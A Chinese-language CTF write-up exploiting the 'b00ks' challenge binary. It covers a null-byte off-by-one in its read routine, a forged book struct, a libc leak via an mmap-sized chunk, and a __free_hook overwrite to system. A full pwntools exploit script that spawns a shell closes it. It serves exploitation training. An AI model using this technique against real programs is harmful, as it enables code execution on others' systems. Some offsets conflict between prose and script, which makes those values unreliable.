题目介绍
题目是一个常见的菜单式程序,功能是一个图书管理系统。
1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit
题目提供了创建、删除、编辑、打印图书的功能。题目是64位程序,保护如下所示
Canary : NoNX : YesPIE : YesFortify : NoRelRO : Full
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息
struct book{ int id; char *name; char *description; int size;}
create
book 结构中存在 name 和 description,name 和 description 在堆上分配。首先分配 name buffer,使用malloc。大小自定但小于 32.
printf("\nEnter book name size: ", *(_QWORD *)&size);__isoc99_scanf("%d", &size);printf("Enter book name (Max 32 chars): ", &size);ptr = malloc(size);
之后分配 description ,同样大小自定但无限制。
printf("\nEnter book description size: ", *(_QWORD *)&size);__isoc99_scanf("%d", &size);v5 = malloc(size);
之后分配 book 结构的内存
book = malloc(0x20uLL);if ( book ){ *((_DWORD *)book + 6) = size; *((_QWORD *)off_202010 + v2) = book; *((_QWORD *)book + 2) = description; *((_QWORD *)book + 1) = name; *(_DWORD *)book = ++unk_202024; return 0LL;}
漏洞
程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的。
signed __int64 __fastcall my_read(_BYTE *ptr, int number){ int i; // [rsp+14h] [rbp-Ch] _BYTE *buf; // [rsp+18h] [rbp-8h] if ( number <= 0 ) return 0LL; buf = ptr; for ( i = 0; ; ++i ) { if ( (unsigned int)read(0, buf, 1uLL) != 1 ) return 1LL; if ( *buf == '\n' ) break; ++buf; if ( i == number ) break; } *buf = 0; --》 漏洞位置 return 0LL;}
利用
创建两个b00k
, 在first b00k
中伪造b00k
进而控制second b00k
的description
指针, 将该指针改为__free_hook
, 修改second b00k
的description
为execve("/bin/sh")
, 最后free
泄露
因为程序中的 my_read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 'x00' 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 'x00' ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。
books 位置
0x55865b7c9040: 0x4141414141414141 0x4141414141414141 0x55865b7c9050: 0x4141414141414141 0x4141414141414141 --> authorb00ks<--0x55865b7c9060: 0x000055865cc0d160(first book) 0x0000000000000000
null byte overflow
0x55865b7c9040: 0x4141414141414141 0x41414141414141410x55865b7c9050: 0x4141414141414141 0x41414141414141410x55865b7c9060: 0x000055865cc0d100(0x60-->0x00) 0x000055865cc0d190
1. 创建第一个firest book
0x55f276c74160: 0x0000000000000001 0x000055f276c74020--> Name0x55f276c74170: 0x000055f276c740c0(description) 0x000000000000008c(140)
当0x55f276c74160 --> 0x55f276c74100
时, 0x55f276c74100
正好落在first b00k
的description
中, 属于可控范围, 为我们伪造b00k
打下了基础.
2. leak book1 addr
my_read 读入的结束符 'x00' 会被写如 book1 时覆盖
所以 print author name 时 会泄露 book1 在 buf 的地址
3. 申请 book2
book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。
4. 伪造book
0x55f276c740c0: 0x4141414141414141 0x41414141414141410x55f276c740d0: 0x4141414141414141 0x41414141414141410x55f276c740e0: 0x4141414141414141 0x41414141414141410x55f276c740f0: 0x4141414141414141 0x41414141414141410x55f276c74100: 0x0000000000000001 0x000055f276c74198----0x55f276c74110: 0x000055f276c74198 0x000000000000ffff |...... |0x55f276c74160: 0x0000000000000001 0x000055f276c74020 |0x55f276c74170: 0x000055f276c740c0 0x000000000000008c |0x55f276c74180: 0x0000000000000000 0x0000000000000031 |0x55f276c74190: 0x0000000000000002 0x00007f282b8e7010 <-|0x55f276c741a0: 0x00007f282b8c5010 0x00000000000210000x55f276c741b0: 0x0000000000000000 0x0000000000020e51
可以看到0x55f276c74100
已经是fake b00k1
5. 空字节覆盖 leak book2 name pointer&libcbase
0x55f275d55040: 0x4141414141414141 0x41414141414141410x55f275d55050: 0x4141414141414141 0x41414141414141410x55f275d55060: 0x000055f276c74100 0x000055f276c74190
泄露的是second b00k
的name pointer
和description pointer
.
这个指针和libc base address是有直接联系的.
0x000055f276c73000 0x000055f276c95000 rw-p [heap]0x00007f282b33e000 0x00007f282b4fe000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so0x00007f282b4fe000 0x00007f282b6fe000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
结论: 通过伪造的b00k
, 我们泄露了 libc base address
.
**6. 获取相关指针
主要是两个
malloc_hook = libc.symbols['__free_hook'] + libcbaseexecve_addr = libcbase + 0x4526a
结论: 通过libc base address
, 退出了__free_hook
和execve_addr
在程序中的实际位置.
7. 修改 get shell
通过first b00k
修改second b00k
的description
指针为__free_hook
, 在修改second b00k的description内容为execve("/bin/sh", null, environ)
, 最后执行free
0x55f276c74190: 0x0000000000000002 0x00007f282b7047a8 --0x55f276c741a0: 0x00007f282b7047a8 0x0000000000021000 |...... |0x7f282b7047a8 <__free_hook>: 0x00007f306ff4726a 0x0000000000000000
结论: 由于__free_hook
里面的内容不为NULL
, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)
相关问题解答
为什么第二个 b00k申请的空间那么大?
If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address
exp
from pwn import *#context.log_level = 'debug'elf = ELF("./b00ks")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")p = process("./b00ks")def create_name(name): p.sendlineafter("Enter author name: ", name)def create_book(size,name,des_size,des): p.sendlineafter("> ","1") p.sendlineafter("\nEnter book name size: ",str(size)) p.sendlineafter("Enter book name (Max 32 chars): ",name) p.sendlineafter("\nEnter book description size: ", str(des_size)) p.sendlineafter("Enter book description: ", des)def delete_book(id): p.sendlineafter("> ", "2") p.sendlineafter("Enter the book id you want to delete: ", str(id))def edit_book(id,new_des): p.sendlineafter("> ","3") p.sendlineafter("Enter the book id you want to edit: ", str(id)) p.sendlineafter("Enter new book description: ", new_des)def memleak2(): p.sendlineafter("> ","4") p.recvuntil("Name: ") msg=p.recvline().strip("\n") msg=u64(msg.ljust(8, "\x00")) log.success("Leaked address of second book name pointer : " + hex(msg)) return msgdef change_name(name): p.sendlineafter("> ","5") p.sendlineafter("Enter author name: ", name)def memleak1(): p.recvuntil("> ") p.sendline("4") p.recvuntil("Author:") msg = p.recvuntil("\n",drop=True)[33:] log.success("msg : "+msg) addr = u64(msg.ljust(8, "\x00")) log.success("Leaked address of first book : " + hex(addr)) return addrcreate_name("a"*32)create_book(140,"a",140,"a")#leak book addrfirst_addr = memleak1()second_addr = first_addr + 0x38log.success("second addr : " + hex(second_addr))#create second bookcreate_book(0x21000,"a",0x21000,"a")#fake first bookpayload = "a"*0x40 + p64(1) + p64(second_addr)*2 + p64(0xffff)edit_book(1,payload)#null byte off-by-onechange_name("a"*32)#leak second book pointersec_name_addr = memleak2()libcbase = sec_name_addr - 0x5b0010log.info("libcbase: %s" % hex(libcbase))free_hook = libc.symbols['__free_hook'] + libcbaselog.success("free_hook : " + hex(free_hook))execve_addr = libcbase + 0x45216log.success("execve : " + hex(execve_addr))#gdb.attach(p)# getshellsystem = libc.symbols['system'] + libcbasebinsh_addr = libc.search('/bin/sh').next() + libcbasepayload = p64(binsh_addr) + p64(free_hook)edit_book(1, payload)payload = p64(system)edit_book(2, payload)'''edit_book(1,p64(free_hook)*2)edit_book(2,p64(execve_addr))'''delete_book(2)p.interactive()